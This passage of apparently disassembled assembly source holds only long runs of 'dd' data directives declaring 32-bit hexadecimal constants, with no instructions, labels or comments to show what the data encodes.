		dd 0C1759476h, 0A179B8D1h, 0F8C420h, 19176911h,	12284FEAh
		dd 97188600h, 0A41A333h, 2890A6h, 30230BF2h, 315FA8Fh
		dd 32140909h, 450C07D5h, 0E06C2E63h, 12A00FAEh,	0EE0CC3h
		dd 56D433E4h, 0E0903C24h, 19609A00h, 0BE5F8E10h, 0EA9B3A05h
		dd 4C3FE780h, 0B2ECF31h, 0E691DB00h, 0AAB35467h, 0BD920E1Dh
		dd 0E0944751h, 8C4DB002h, 0C100E0C7h, 0EF110A2h, 742C7D79h
		dd 0CC249341h, 974CE83Ah, 7BB9BC00h, 0B8541629h, 36C800A8h
		dd 64768D41h, 0EA00FD1Bh, 0C4F3F95Ah, 103373F7h, 1DB8282Eh
		dd 9C03ADFh, 2FCF9AB4h,	5AFB00F4h, 24440164h, 9E01973Dh
		dd 0A3542707h, 0CDC0F76Fh, 9D11EE5h, 40F343F6h,	4CB867D9h
		dd 0E0007DA1h, 0D4759C27h, 1B0E70h, 2DCDD6AFh, 8940F00Bh
		dd 0BFBCAA01h, 39F7F3Dh, 0D566F8h, 0ECC268C0h, 0D4880EF2h
		dd 0CABE801h, 0BCCE7709h, 3AB527F0h, 200EFDADh,	0A6E0B238h
		dd 7CC77935h, 84F26002h, 682EFC92h, 0F8438D10h,	2EC5C9Ah
		dd 0BF4728h, 0AA4DBA33h, 50FD54C4h, 0C6A5CCF7h,	0CD7A4612h
		dd 0BFDD5900h, 1FE4EC49h, 0C0B30EABh, 0FA4611A6h, 5A1CA94Ah
		dd 5040CB79h, 0DDC459A2h, 0FFD20027h, 0B69326D6h, 9D00AD7Fh
		dd 9C366E88h, 7C5E4511h, 0C52F0787h, 0E04AABF4h, 9040EC70h
		dd 0CBDBC100h, 0A2D0665Ch, 68F1001Ch, 0EB832BC0h, 9900B5A4h
		dd 78018088h, 90B120A5h, 0C6E9003Eh, 0ACE06BF5h, 0E402D260h
		dd 0A82D0840h, 0C46344h, 47B4F9F8h, 727C9197h, 5BD6CC1Fh
		dd 0A2CAE580h, 409A0Ch,	7F142FD4h, 29320D01h, 4E24D513h
		dd 15508A00h, 1CC3C21h,	9861FDEFh, 0D82B770Dh, 4200FC8Eh
		dd 85B5DF32h, 151FFB2h,	0B348756Ch, 0F05F8764h,	2E488B4Bh
		dd 29AF001Ch, 0AE6047A3h, 97991CB6h, 89F4994h, 0C6B08480h
		dd 1500E9F6h, 0D4D63246h, 314EFEh, 6444392h, 0EEF77128h
		dd 2D652318h, 0D63850h,	9B5E3C1Eh, 9E8D60A2h, 73CDA49h
		dd 0C965752Bh, 0ECF30059h, 0F59BE21Dh, 90CC06D0h, 304E77E4h
		dd 0F39462E5h, 0EE000F83h, 3173AFA9h, 0BDC0D605h, 0DA004CF8h
		dd 473E4F45h, 1E77E8EFh, 40B5FAB9h, 5018A1BEh, 0B1008ECCh
		dd 0E89DAEABh, 76DF60h,	6E21F6B0h, 83991BAFh, 0D3115101h
		dd 0E92939CAh, 1233C20h, 0D1E66BDh, 0E0AA7B53h,	0F40017FDh
		dd 0FEF1CB48h, 145A67Ah, 0FBCF9BF0h, 404BACFAh,	0AB109DE4h
		dd 0DF00727Eh, 1BA96FC6h, 7417CCh, 6D9F7E26h, 0F84F11EBh
		dd 0C7E73E00h, 0F91EAA0Dh, 19E48Ch, 0A62281E9h,	0A66CD90h
		dd 0E60317F8h, 2D319783h, 5EE8F13Bh, 0E3E7CCh, 18F7014Dh
		dd 0BCB9D0Ch, 80CC7838h, 1B5217C7h, 16651Ch, 8EABD43Fh
		dd 11C22251h, 0DCA96A01h, 0C6CCA3EBh, 0D687D0h,	46DB6FEDh
		dd 0FEB55EC4h, 0C8369500h, 3EE7578h, 39510001h,	8FE4B82Ch
		dd 0BF0E4110h, 5EC5A7C1h, 316D9740h, 9A1C07h, 6098F890h
		dd 0B34AE2Bh, 10491B00h, 9B21ACC0h, 0BDA50031h,	0A9EAE693h
		dd 4B2C2533h, 8100A7F5h, 5BC971C5h, 69630FADh, 0FCC01821h
		dd 22E81288h, 0D5070A00h, 781D5BEEh, 75F283h, 8B577BF8h
		dd 20763406h, 0B9CFDC00h, 53BD213h, 0E0F900D8h,	30CC5A4h
		dd 3D004BAAh, 8DBD1A96h, 0EC461B39h, 0F9C70CB5h, 7F103801h
		dd 1FCF6500h, 5CF8A28Ah, 0B08F0035h, 34537A5Dh,	0B4036081h
		dd 8926E1A1h, 0D6940333h, 0F68B68A6h, 0F1F439B0h, 0B70FE800h
		dd 1520ABE2h, 0D202000Bh, 0C031740Dh, 5C00173Bh, 923208A2h
		dd 39369DCh, 7DB1C7DBh,	0BEB8EDD2h, 410018D5h, 6E405F02h
		dd 3FC70C09h, 6200C130h, 6D5A48DCh, 2A005BA4h, 12FE8266h
		dd 3F6E5447h, 5EAEF9DBh, 0A813006Ah, 557C07D4h,	898B5613h
		dd 7EB8E10Eh, 0D72FAA40h, 0B9C9F7h, 0A6D02640h,	183D51C6h
		dd 7B039A07h, 4DC0D502h, 50CDDA30h, 1A9840Bh, 0FC9CB007h
		dd 0F093EE3Ah, 8B0F8A8Ch, 0C0FD7656h, 0BE7E5E71h, 4CD401EAh
		dd 0B9AF64F6h, 621BD42Dh, 3FC4CE00h, 41137FABh,	5CAA0031h
		dd 1822328h, 9F00C1F2h,	48ADD493h, 14FECFCh, 13F85B9Ch
		dd 0C4E09B72h, 69007879h, 0AF2DF130h, 3698C5h, 244B2339h
		dd 40048C5Ah, 54BA4Ch, 0F50761C0h, 0EE11E4h, 0F335DEA1h
		dd 904A339Fh, 61AD6E0Fh, 0FBA0E037h, 97E9D8BEh,	0EEDEA560h
		dd 0AD7A3C00h, 9C05D617h, 0D1E83B90h, 0CB91AE01h, 0F76189EBh
		dd 0DC01FAA8h, 76B25Ch,	48DFB36Bh, 2977458h, 0B11B8357h
		dd 8780E681h, 8DF94935h, 0D5469C00h, 3AA7C063h,	81A0A012h
		dd 0C41B54AAh, 65AF0738h, 622EF637h, 0C0802207h, 0B0A74856h
		dd 4E8DE11Eh, 431200BEh, 0BE50F47Eh, 8A580E10h,	0FAC31163h
		dd 0DCA9BD48h, 4490806Ah, 9AC37EB8h, 0EC458B5h,	0F4315914h
		dd 9272E00Fh, 0D35BAEh,	32BBA272h, 24004A7Bh, 5C3594A0h
		dd 0ECB761h, 300B898Fh,	0ED450CA8h, 0FE016018h,	478F6h
		dd 0C7C38E0Ah, 0F7E851BAh, 8068DC38h, 9C862064h, 50858219h
		dd 3ABB1CBh, 7A834FB2h,	0DCB048F1h, 80009EA3h, 12359C6Fh
		dd 0AE2D19h, 868DA442h,	0DF751C60h, 9D6B3B3Ch, 80BE12B2h
		dd 85F75BCDh, 60D93D1Eh, 0A338391Fh, 423FCAEEh,	91FB09E5h
		dd 1BCA0323h, 60200034h, 0EC9E72CFh, 1400B83Ah,	0E36D8CA2h
		dd 0C1B2E261h, 0C1985361h, 0CD0220E7h, 2D025412h, 389C1F00h
		dd 7DDB9655h, 0A837074Ah, 100D4686h, 252D0FBh, 0FCF530C0h
		dd 0F1435DBh, 0D8EF973Ch, 8F4803C0h, 8500F0C9h,	0E84DF588h
		dd 388BE49Eh, 0BE24E9CBh, 5543004Ch, 107CC9EDh,	0CA514CA8h
		dd 2CD8BC07h, 0A720223Ah
		dd 270601h, 0D7157E3Ch,	0DD0440BEh, 10EF8600h, 76699312h
		dd 0C7910065h, 0CFDD6BBh, 7200A670h, 4E31398Fh,	0E87FBDBh
		dd 76C70B74h, 0B1E43FE0h, 0FC074A80h, 11147C3Bh, 0AB33B4D3h
		dd 643EA0D7h, 0BC4E00EEh, 0DCA877E6h, 0AF013A40h, 82E8D20Dh
		dd 58F8B18Ah, 0F6700146h, 2C3F756Eh, 0FDD4306Fh, 8007FF3Dh
		dd 0EED65253h, 967480h,	5ED914F2h, 58EDEB88h, 0B8BBC400h
		dd 0A48ACF9Eh, 391B007Bh, 9317E732h, 0EC0038DDh, 209B6A23h
		dd 28882633h, 0F0D3B1h,	8D5A5708h, 1CB5E63Fh, 0F231907h
		dd 0A1714927h, 35EC0C7Ah, 332A0051h, 3DD670F8h,	0A4005B09h
		dd 0A18E878Ah, 1684EFh,	8CCC8B15h, 32AFCD3Bh, 60D48830h
		dd 3BDCD050h, 680A2ABh,	0CBF1719Fh, 350013BDh, 2685C736h
		dd 0DF2C10h, 11D3F68Ah,	0E3AF9B3Eh, 0A07A3Dh, 53646109h
		dd 0BFA5Fh, 1FAE3598h, 0AB3DBAFBh, 20BB4703h, 0D0699224h
		dd 1427ED3h, 35AA8C48h,	206EEF76h, 8F00C3B2h, 14954046h
		dd 20488E2h, 80A69D37h,	41D5EA13h, 0B8DC77F5h, 5D730070h
		dd 31E6F3Fh, 880053E4h,	8DF043FBh, 79A7B479h, 10FD00ABh
		dd 0A662D640h, 1300FB5Ah, 0CC8EDDB2h, 3B82C796h, 48CD37AEh
		dd 0E6D9F100h, 925AF229h, 1628C601h, 0ABBFF665h, 867E7D10h
		dd 483F1401h, 0AF113DC1h, 0F3DC20h, 0F6FC9990h,	0EBBA8591h
		dd 0F0EF3607h, 0CE30CD41h, 456F716h, 15BF1311h,	918080BCh
		dd 18000B36h, 7E9A71E4h, 0EAB8B364h, 38898D5h, 8CD4468Dh
		dd 95E0EABCh, 2D00F526h, 0A1BB4BFAh, 0F5AFDD8h,	8F5380D4h
		dd 9BD70A2h, 85E19540h,	0B6089EDh, 4AB00054h, 96AC42h
		dd 4F27AF15h, 8C3C315Eh, 77EF3820h, 4EAD1074h, 1621007Dh
		dd 5759CFF2h, 69B01886h, 3376187Ch, 561B8201h, 409CC5CBh
		dd 37A5F0h, 0F6D19F34h,	0CD6F579Eh, 0E130E930h,	7D5DA0h
		dd 4E8F9212h, 0CDDDD76Eh, 87A5B700h, 0C2ED1172h, 0A1050021h
		dd 7160EF98h, 0EA3CD607h, 5EFD0091h, 83B3B28Ch,	627900A1h
		dd 39DEA46Ch, 0AC0284A7h, 0AA3E74DBh, 8EB8013h,	46B404h
		dd 54D891E6h, 0D66A2DBFh, 0C4957F05h, 8D0825Ah,	0ECDA9h
		dd 0A8FFC70Dh, 0D449202Ch, 3D0A7C00h, 0D3285352h, 0DE9841h
		dd 91873E0Ch, 0B57FFAF8h, 9E4CBCE6h, 0B463005Ch, 66EF3BC8h
		dd 0C92E0E7Dh, 64A32F43h, 0CEB32059h, 9435B098h, 0A5053A09h
		dd 0FB6C0080h, 0E1AA49h, 0A6D5DC51h, 0FDF4A1B2h, 10A6D5Ch
		dd 8123DB8Ch, 0F1CCECD0h, 0E27B0058h, 5729AC7Ch, 9D00127Fh
		dd 0A4B61A19h, 774B2DFh, 79AD95F5h, 39BBF00Dh, 0C60080E5h
		dd 5F324A20h, 0EBF930h,	0D947F8EEh, 871626D0h, 5B846506h
		dd 12C893F5h, 403EFFB7h, 6BA9427Ch, 0C90E83AAh,	605ED8F8h
		dd 0FC7E4C09h, 0F7663938h, 1AB7C73h, 7CA6E8BCh,	2046D251h
		dd 210F7554h, 0A0A88253h, 99ABEB8Bh, 2B0D00F5h,	2DCBDEA0h
		dd 0A6EACD1Eh, 7F0693Eh, 0CC65196Fh, 0C7C02A57h, 0F828EC79h
		dd 0CA7E1C60h, 0BDC38598h, 31C38090h, 374EAF8h,	7E0E3400h
		dd 4FAAF2CFh, 8C2430ACh, 0EEF5285Ah, 58D9F009h,	0D07C0047h
		dd 263D4ED7h, 57D639h, 16B89108h, 8FFE70F4h, 1D025300h
		dd 4B9343C8h, 0B6D00018h, 0BE1F3794h, 85006947h, 0AE5F1C51h
		dd 5F52046h, 0C05C06A7h, 0F39C08EFh, 0FD727900h, 0F44313Fh
		dd 37EA20BFh, 0A3DC4092h, 36287BE8h, 38B8AC7Ch,	0E2F9BF00h
		dd 0FC90094Bh, 0EF251CA9h, 107AC75Bh, 0F8A69359h, 11E84EDBh
		dd 0FE007B79h, 9D462636h, 94F103h, 1BEA3D04h, 0B69672ABh
		dd 0CAA55A05h, 0E40098C5h, 69EFB333h, 3B8E202h,	1C79BC21h
		dd 0D094C190h, 1FD7B330h, 4B1BA102h, 22A241h, 5209B1C5h
		dd 0B6F51300h, 0DF884A40h, 0E8EE6776h, 5FFFA069h, 77BCE9Ah
		dd 0E19DD3Bh, 0C0F0945Ah, 0D66751Bh, 0D649275Dh, 0F5A0A7C0h
		dd 41C426FEh, 8820B78Eh, 3400843Ch, 0E33C9FCh, 5D018C97h
		dd 502FC62h, 0B4D129F0h, 0C50C2040h, 0A35191Ch,	3800BED2h
		dd 5F604E3Ch, 21F03A07h, 3D1A0380h, 25B747E9h, 48444600h
		dd 1828E7E2h, 2EDD4857h, 0B6F9C200h, 34A2177Fh,	2A3E5D00h
		dd 0D7A72229h, 61DCFF04h, 4A7200BAh, 2D701077h,	4348BFA1h
		dd 67FC7678h, 83579618h, 0C1A95Eh, 7CD55C1Fh, 21AF2EBEh
		dd 9BAE5107h, 8290DA3Ah, 0FDB18B8h, 6983D92Dh, 96E65A60h
		dd 0A930404Fh, 0FFAF6860h, 0AB2D00C2h, 0B93C191h, 2A065236h
		dd 22ED3D70h, 7E450h, 44B66662h, 206F5E02h, 9B608000h
		dd 2F9CBC7Dh, 0A3A2007Eh, 9E8A0A65h, 700D4B5h, 211C2E40h
		dd 3E612350h, 318089D1h, 3E1E0F5Ch, 0CB00E995h,	5416FE87h
		dd 3011CAFFh, 9A70B889h, 6F03AD66h, 10A0F253h, 0B5191D92h
		dd 40BC9C61h, 8419689Dh, 1200BFDCh, 0B7C22583h,	5BDD34h
		dd 8218DE9Bh, 0E0C4A554h, 7B4FED01h, 1023FBADh,	1E3D25D0h
		dd 80897006h, 0C24145EAh, 54004749h, 67EB23E5h,	13211393h
		dd 1E37BC0Ch, 55524030h, 6E3AFA20h, 0C1A44800h,	9ABA1A4Ch
		dd 0F898A322h, 0FE4051CEh, 0FC0E731Fh, 90F80092h, 9A100D86h
		dd 7800F65Ch, 4FAD355h,	0F3AA72BBh, 106034h, 624864A2h
		dd 50D161Fh, 884620DDh,	7F88DCDh, 8E0A4282h, 3FD0D0B4h
		dd 9324F8D8h, 2A077CDCh, 75515262h, 6E202D8Eh, 648800F9h
		dd 0AEEEB068h, 2F123CA3h, 0F804E955h, 7880F082h, 7BE84FA2h
		dd 656E0479h, 0D35238ABh, 7BC861B8h, 0FB0008BAh, 5027F4D4h
		dd 4983BBB7h, 2280B85Eh, 0EFB271FAh, 0FDF30C0h,	133215Dh
		dd 399DC7D2h, 0F878F707h, 3D00AD47h, 171C801Dh,	0D92676h
		dd 309E9ADBh, 4A0C24C0h, 860F7A00h, 79454B6Dh, 0D86B2609h
		dd 10B68050h, 98BA1B0Ch, 2A344704h, 0E48D7494h,	4494C1Ch
		dd 0D77009FBh, 16D89010h, 8F00F19Dh, 0C8F84869h, 1F45B7B4h
		dd 0C5D2EE05h, 82A9A204h, 61C0F244h, 0BDFA10ACh, 0AC55052Eh
		dd 8056BDBCh, 4B152A58h, 0C93A6h, 0E5998764h, 0FCE695CEh
		dd 43DCE800h, 1C7E908h,	20BF4C26h, 10AA1900h, 56517365h
		dd 4F0D3300h, 9A6BA3D6h, 765A0011h, 180F831Ch, 0E03ECAF9h
		dd 2F14986Ah, 952D50h, 9FC08258h, 0A304CB34h, 0B052BF04h
		dd 0F4C01C8Dh, 9F01267h, 9D3955AEh, 0FEA0B88Eh,	912322CCh
		dd 0C5479F00h, 0C9464888h, 7F8B7302h, 0CAACA87Ch, 0F532008Eh
		dd 0F6396BC8h, 9E05FE84h, 0B65227ECh, 7DC0C8CDh, 23AA0792h
		dd 608313FFh, 8219D89Bh, 0B4D34D00h, 5E8C87A8h,	0E18E161Fh
		dd 0A174409Eh, 70C4F05h, 5CFAD4EEh, 681C9504h, 80D0C063h
		dd 671539h, 427BEB58h, 351276CAh, 31C13A00h, 0BA7EB266h
		dd 0A17282h, 9FAC492Dh,	0E6AF381Ch, 0CE481F01h,	0CA88E310h
		dd 0A7D6C64h, 191BF049h, 437A03D8h, 0FDF893ADh,	220778FAh
		dd 0A21AD0F2h, 7EFF12D0h, 6A9F005Eh, 0A3642F3Dh, 3B00A776h
		dd 7A062B3Fh, 0F6CE8D2h, 287D57E4h, 0FE1785A2h,	3599F2E0h
		dd 0AF3B6100h, 13DECA8Eh, 60ABEA50h, 0E6EF110h,	8C02F92Eh
		dd 6B1E7B7Dh, 0B39EC05Eh, 0D8D005Dh, 8F2AD6C1h,	0C30118E1h
		dd 0FCD0A6CEh, 682002E4h, 41360045h, 0BE1E2EACh, 0C500B64Ah
		dd 7C22B796h, 9CED03h, 1D667156h, 0CB65EA33h, 9774A601h
		dd 0C25869EBh, 3900E03Ch, 60E95B09h, 0B3022D7Dh, 2794FC48h
		dd 17E852B4h, 9259FAh, 76BFDDEBh, 80338424h, 0A05EF0FBh
		dd 0C6B5C7h, 6FEEB6D4h,	356AF297h, 0B0000FE4h, 0EAC46548h
		dd 753706Eh, 7BF40BF5h
		dd 5FF87301h, 0B580A2BBh, 0BA1DB1AAh, 9D041359h, 7B815CC9h
		dd 71F81408h, 2DA80277h, 32CD4DF4h, 2100A4E4h, 0E112CE2Eh
		dd 7BB2F7A0h, 37E084h, 0F43005C8h, 8843E301h, 0FCB9ED03h
		dd 0E0F0DFC1h, 2FBD5192h, 0BF504722h, 4052DE24h, 0C40E101h
		dd 6F484Ch, 0DCD09C0Ah,	700A4B7h, 7AED3A81h, 7798A5D4h
		dd 21020056h, 7BF3D50Bh, 2600F187h, 437D33E9h, 96D75E1h
		dd 1858EC89h, 5FC5400Fh, 461CC088h, 55072E7Eh, 342129A1h
		dd 605BAB82h, 0AF96A88h, 0B50A1158h, 7C3B00B0h,	0E9DFFF81h
		dd 877A3E00h, 650F47E4h, 0EDEBA077h, 49D00BBh, 8179998Eh
		dd 4900F55Fh, 0F70ECF15h, 1B3E42Ah, 6E95A091h, 0DB241C2Dh
		dd 5A7C3680h, 3A0B6300h, 771A67AFh, 9B530562h, 0D32210E7h
		dd 0E0A7730Ch, 44CB7AA1h, 7C512A06h, 4A84409Bh,	0D21C00E0h
		dd 0C23EAD6h, 64AE371Eh, 0E6DDDA00h, 381575h, 0B353C55Fh
		dd 6E93A0ABh, 0D2273Fh,	2C428F09h, 4640DAh, 38B5FE56h
		dd 7C71D530h, 0A9EAB600h, 2389A093h, 739D3C83h,	10325000h
		dd 0C0609C1Ch, 0F4FDE0C7h, 0BF01F930h, 9641007Ch, 8F516594h
		dd 0C498DAC0h, 4CEF101h, 9A66EF24h, 51EBEECh, 8F342772h
		dd 1988008Ch, 6FCD6B11h, 8A4CFF00h, 566758FEh, 0F72139ECh
		dd 0A1BFA600h, 51593BC0h, 1CDD3A0h, 0CFE2DC2Ch,	0E837B101h
		dd 2430D66Dh, 0F29D0072h, 0F3679F1Dh, 0E35CE76Ch, 0D1D30038h
		dd 8E122D23h, 1F7A3E6Ah, 9FE18D84h, 3268E0B1h, 82EA6E00h
		dd 6194BE3Ch, 54D40BCAh, 40205E77h, 97120374h, 0DF320800h
		dd 0CBC2E8C0h, 2109031Dh, 150A73Ah, 75C11AF0h, 930A5B70h
		dd 0D0E90AF5h, 34DF7D07h, 0D5E8D830h, 90B301A2h, 0ADC1AF8h
		dd 35E1CC5Bh, 2126D02h,	0D83259BEh, 0D2E61FA4h,	0F28A8341h
		dd 0DB0B6A8h, 5C00154Eh, 0AFDDE38Eh, 39780D6h, 0D5DCD914h
		dd 0CEB85508h, 6D2C0B87h, 848714DEh, 1EE73941h,	300C0089h
		dd 75158664h, 44F4F06h,	0A0B7AE24h, 809018F8h, 5D046300h
		dd 0C79D5BB1h, 0A9770C23h, 37E8452Eh, 0E300DA7Eh, 0D2B50C4Ch
		dd 0E8241ABh, 0EB7CF48h, 79D4A9A0h, 7A001F47h, 96FDCB1Ah
		dd 1E515AA8h, 405E2536h, 0F381ABB4h, 6A3C698Dh,	6D3009Ah
		dd 50481368h, 0AAA40054h, 19D6DF91h, 72001AEDh,	0B17B6F6Eh
		dd 3E5568ABh, 0E603C087h, 1EB0FBA0h, 233B1200h,	0D5FC9BDAh
		dd 0A3880004h, 37023D05h, 677B7FE9h, 0F4E7D828h, 0EF69900h
		dd 226D503Bh, 9C86EAF7h, 88B718E0h, 99026195h, 0D76660C3h
		dd 14F824h, 39146F3Fh, 882EE4CFh, 43DD5900h, 7258B9D1h
		dd 74890C8h, 69DE994Ah,	901180B0h, 68B27D0Eh, 0BD2E2400h
		dd 6539D1F1h, 83820002h, 3DEC1A32h, 0D4A0880Eh,	6A018199h
		dd 5A52814h, 6820F7DBh,	1F5E7548h, 80738415h, 0F4FE3CDEh
		dd 4C030779h, 6D41CF1Ch, 2846909Ah, 0EA8200D1h,	38F7E8DCh
		dd 0B9B05FBAh, 6D186300h, 0D68EF054h, 0C72100C2h, 3A70B3AFh
		dd 0FE2CC4B5h, 4E00E3DDh, 0B8A15B23h, 0F9221D52h, 0AFFF0F19h
		dd 1E94EE60h, 75FA9B05h, 0C2F67900h, 23CCA4Ah, 0AE1C1EB6h
		dd 0AD66C088h, 8B328CD3h, 440DCB00h, 0D0BDFF71h, 0A54200D2h
		dd 0E5D304C4h, 75F8CEC1h, 0F38AD16h, 12599C00h,	0D2B29Dh
		dd 5EDE92B8h, 76EB0162h, 6CD84801h, 0DB54331Fh,	6756F8h
		dd 4F74F459h, 0C5D4C7F5h, 0ABB02000h, 47345F28h, 0ACD083Ch
		dd 6800B141h, 0E33EBAD2h, 109A6Ch, 0CC6238DEh, 0CA2D52E0h
		dd 0E3001094h, 4D740DF5h, 0D0E40025h, 40A86455h, 0E73F08D4h
		dd 4200FB89h, 4A7AB53Dh, 3AD72624h, 739EEABEh, 892F4251h
		dd 0E4606F66h, 0B21212C0h, 0E04F14A3h, 22D9415Eh, 2770CEE3h
		dd 0F8760E94h, 0DDC0AB39h, 9266DEBEh, 0B7C1F500h, 100C03D6h
		dd 0CBED00C4h, 95FC7756h, 0F1482EEEh, 87F43CE2h, 4BC1ECDEh
		dd 54AA6192h, 7B4F0078h, 536E4D0Ah, 0B897100h, 19E8E181h
		dd 0D47CE50Fh, 40C1351Fh, 1E1A2ED0h, 0D200A76Ch, 819FF334h
		dd 107A40h, 0E23624ACh,	0C5984AABh, 5C5259h, 0BE44ED61h
		dd 1CC0ADAh, 455C9E07h,	20D7F782h, 92E5DE7Ch, 0E080712Ch
		dd 21A3D8h, 311D65F6h, 3F064975h, 0EA00FE7Ch, 0EDA25AEEh
		dd 925C9B3h, 40F0E361h,	0F46D2C80h, 0BA0041B1h,	9EBCD88Ch
		dd 3F4F3E7Ah, 59BEFC74h, 0C1A38A03h, 0E6E2EC93h, 0B7B5AC60h
		dd 1551A500h, 0C78A0D44h, 0CE7305B3h, 804A686Dh, 0EBDCE250h
		dd 1F8F5B00h, 2DB147FEh, 2CD4A01Eh, 0A3B73B57h,	0D5ECDFh
		dd 0B9237BC5h, 18803FE4h, 281D1901h, 0D7753D25h, 0FBE7A00h
		dd 71116AFBh, 0ABDC0EF6h, 15C0A903h, 0E529ED7h,	0E3FBDA05h
		dd 0D080992Ch, 81F0CB55h, 0EBB03B5Bh, 0D036583Bh, 0D08A3189h
		dd 43B18040h, 645371Ch,	7C739624h, 8853F943h, 0CB7E94Bh
		dd 212B7CD1h, 1C12AA30h, 94034ACCh, 90B0BB5Dh, 9BAEB29h
		dd 93B9AC27h, 0A67D0E0h, 5058847Eh, 0EA590485h,	6CA5654Fh
		dd 0EC7DD8h, 57A4D8BDh,	0A6DF9F20h, 0D36A2400h,	773CD46h
		dd 0E529129Bh, 0F83C13BCh, 9D0D392Ah, 750040AEh, 8FF2A960h
		dd 0B93B00FAh, 76BD733Eh, 0EB0162BAh, 57C9F635h, 24D85DA9h
		dd 0B0562461h, 1E7E0010h, 6D0CB8Fh, 53312207h, 0ACF0CD48h
		dd 6895E3h, 0ADBD5F5h, 0EAA86796h, 6D70E00h, 86542840h
		dd 1BF42E88h, 9FC201E8h, 0E8CF85AEh, 190465A2h,	8220E474h
		dd 0F801A8C0h, 75D700E2h, 0AE7E1F43h, 76C084D1h, 2CE1DF26h
		dd 46190239h, 0E39C0CC3h, 2DD8F4E3h, 8675EA98h,	8DD53C04h
		dd 0B3C4777Fh, 71D118E0h, 14980A9Ch, 0FC8F59h, 219AAD65h
		dd 8B5C55F9h, 0E3C700D9h, 0B45A889h, 4B500F1h, 0F4DEB309h
		dd 67001AF0h, 9D927ADDh, 0A52544h, 95708208h, 0BEF25ABDh
		dd 98CA6209h, 0E0740266h, 7C47E327h, 8FC8A068h,	0C2911E11h
		dd 0C0255C48h, 15C84CD0h, 0D50F6E55h, 32B806EEh, 0FF299E00h
		dd 11F3F53h, 2CF49B4Dh,	238CB166h, 12950B98h, 10502039h
		dd 0C96C8Ah, 244BF9D8h,	6D2FBDFBh, 0D7A35526h, 8E91A00h
		dd 0CFB0B8h, 88FA585Bh,	15D1BF64h, 0F925E6F8h, 14A48126h
		dd 24200674h, 4E373DEAh, 73438887h, 0B96CC026h,	405C506Ah
		dd 0D932014Bh, 0ECEFC063h, 49275C3Ch, 7B1F2C83h, 327F588h
		dd 64BA8571h, 4DAEAC01h, 0C4C56F7Fh, 6C79C24h, 77247EE7h
		dd 86001018h, 0D07A5739h, 398FCD59h, 1530273Dh,	10DB6040h
		dd 703E4BEh, 0C6982FDAh, 311B0178h, 0AFBA20C0h,	0EC462137h
		dd 2800CB2Dh, 3C8BC272h, 0D62122h, 1583B17Dh, 0EDE19C12h
		dd 860E28B0h, 0B225A55Ah, 483FD800h, 7C3655h, 3BC88A74h
		dd 1203BEA2h, 7F906900h, 0F4C2415Ch, 0F0FE00E6h, 9A18201Ch
		dd 0C4EC989Dh, 0B008D600h, 0C2AD4766h, 429CB6F0h, 7112EFD0h
		dd 6B1198h, 0B26F33EDh,	75AFD003h, 2ED50FC5h, 496245F5h
		dd 0AC90E9FAh, 0CC005337h, 3364D5Ah, 0B0CE132Fh, 236A0078h
		dd 6FF3CD86h, 2014796h,	1FAF48B4h, 9028D37Ch, 0DC10C42Fh
		dd 0CB01378Fh, 4FD8316Eh, 0C850E562h, 3004F6FCh, 4C11ADFDh
		dd 930BA938h, 406EA2E6h, 1391860h, 0C6630A5Bh, 706B3530h
		dd 0E4948E98h, 0F92EE2C0h, 0CB7811h, 4F8859EDh,	840B0A32h
		dd 0C95CB700h, 543F1C67h, 510530AEh, 0B0AD6871h, 2E3B0B13h
		dd 0CD584800h, 0D86F5Ch, 67F4D102h, 0DFF1019Bh,	7C0083B0h
		dd 4F6457AEh, 281EB99Ch, 5CA8A7E7h, 0ED05F101h,	0E12C10BEh
		dd 0D664C080h, 25A9FB00h
		dd 1C2E4D04h, 0C2390487h, 90612A23h, 0A45248A4h, 96C8EE3Dh
		dd 0A200CB42h, 90B1B28Ch, 0DF1A006Dh, 2E8DC363h, 0E9581138h
		dd 4A881C7Ch, 0F720D805h, 25293880h, 1F89051Dh,	0C6A02FB5h
		dd 0C57B18B8h, 64E458B0h, 6D4E051Dh, 4A43221Eh,	0EAB385D2h
		dd 93D480ADh, 7A73512h,	0E9C94642h, 7B15339Eh, 0E498BEE2h
		dd 7D007706h, 52AC448Ch, 0E691157Eh, 9C78F1A3h,	0F6101F05h
		dd 1E50C3B3h, 858FA800h, 8C38FA75h, 0D0FF039Dh,	898A58F0h
		dd 2921B98h, 3F626500h,	4ADE3EB8h, 32690BC7h, 0A280755Dh
		dd 635E1D41h, 7D3FD002h, 618A51A3h, 0EFF8826Ch,	1E4D03DDh
		dd 39AAF277h, 7A8773E7h, 0EA139AE0h, 0DA3E700h,	90B3B8DDh
		dd 7BD60035h, 0CB5E05D7h, 9100FF47h, 0FB1B102Ah, 0A1C345h
		dd 0FE84BA40h, 0EEA92735h, 7E369700h, 37E8018Ah, 1435B67h
		dd 799145F0h, 0C1E5D8F9h, 0A0A807FCh, 0D0B63156h, 5257A9E0h
		dd 2F250089h, 446384FFh, 0C55B7374h, 9E935C30h,	7589AF5h
		dd 821EFD1Ch, 0FF357024h, 9DE69FADh, 905EAC00h,	0C7012F68h
		dd 157906FCh, 2AE11958h, 0C69DA600h, 39AB37E5h,	0B9410072h
		dd 6995DB97h, 0CF17DFB3h, 1080A165h, 60AFBDBFh,	0DA3771D6h
		dd 8D006196h, 873C3004h, 0E9E2541h, 0BE58DFFCh,	5B767560h
		dd 0EC018255h, 5015C32h, 0F024D4F5h, 0ECEFFA4Fh, 435E17A2h
		dd 67E4C0A4h, 0DB3CC0C6h, 4C5900F9h, 0F85D19CEh, 7F710014h
		dd 8D6B2BE9h, 0E0917998h, 481838C2h, 1D13B03Ch,	0F8BD0F6Fh
		dd 0FEE3F20Ch, 4A01C770h, 0B62F7A16h, 0E424EC7Fh, 52BE023Dh
		dd 5133314Dh, 49B11C68h, 10CE9C00h, 97BEC967h, 0E15A4CE4h
		dd 4820122Fh, 91E506A7h, 0FFD8E809h, 804A0C94h,	9FD6078Eh
		dd 1157B3F8h, 0F0F9226Dh, 0DC920AEEh, 0A535A306h, 2481E802h
		dd 31BAC0h, 86C19854h, 4300C43Bh, 0DF3575B5h, 33FCF15h
		dd 0D4D6831h, 6CDBE5A4h, 0EC40E4FAh, 7B1286DAh,	7000F570h
		dd 1C56E283h, 0C6FC0047h, 9732F82Bh, 36002EBAh,	867FEBCBh
		dd 1DB393D4h, 1687F243h, 508820CAh, 8A0792FAh, 0AA71ABB2h
		dd 49AD8920h, 2830B8A1h, 0B69C0Dh, 63745C84h, 20820EF4h
		dd 0A7479500h, 5D35FD59h, 323C3D31h, 889FB87h, 0F0090EECh
		dd 732D2880h, 0BD310518h, 8F697849h, 3DE7DB11h,	0CC991C28h
